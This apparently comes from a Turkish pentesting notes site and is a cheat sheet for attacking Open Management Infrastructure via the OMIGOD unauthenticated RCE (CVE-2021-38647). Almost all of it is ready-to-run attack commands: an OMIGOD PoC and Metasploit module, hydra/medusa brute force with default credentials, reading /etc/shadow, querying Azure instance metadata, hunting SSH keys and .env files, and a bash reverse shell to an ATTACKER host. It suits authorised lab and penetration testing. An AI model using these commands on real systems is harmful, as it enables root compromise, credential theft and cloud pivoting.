Skip to content

5985,5986 - Pentesting OMI

OMI rce

Open Management Infrastructure Linux/Azure agent’tır. CVE-2021-38647 (OMIGOD) unauth RCE ile bilinir. Hedef lab IP’si üzerinde komutları 5985 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 5985/5986/omiport doğrula.

  2. OMI fingerprint.

  3. OMIGOD PoC.

  4. Root shell sonrası loot.

Terminal window
nmap -Pn -sV -p5985,5986,1270 TARGET
Terminal window
curl -vk https://TARGET:5986/wsman
Terminal window
nuclei -u https://TARGET -tags omi
Terminal window
python3 omigod.py -t TARGET -c id
Terminal window
msfconsole -q -x 'use exploit/linux/local/cve_2021_38647_omigod; set RHOSTS TARGET; run'
Terminal window
searchsploit omigod
Terminal window
id; cat /etc/shadow | head
Terminal window
curl -s http://169.254.169.254/metadata/instance?api-version=2021-02-01 -H Metadata:true

,5986 - OMI için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p5985,5986 TARGET
Terminal window
nmap -Pn -p5985 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:5985' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',5985));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → ,5986 - OMI
Terminal window
hydra -L users.txt -P rockyou.txt -s 5985 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 5985
Terminal window
nmap -p5985 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit OMI
Terminal window
msfconsole -q -x 'search OMI; exit'
Terminal window
nuclei -u https://TARGET:5985 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:5985 -tags tech -silent || true
Terminal window
nc -nv TARGET 5985
Terminal window
printf '
' | timeout 3 nc -nv TARGET 5985
Terminal window
curl -vk --http1.0 http://TARGET:5985/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
OMI expose → OMIGOD → root → cloud metadata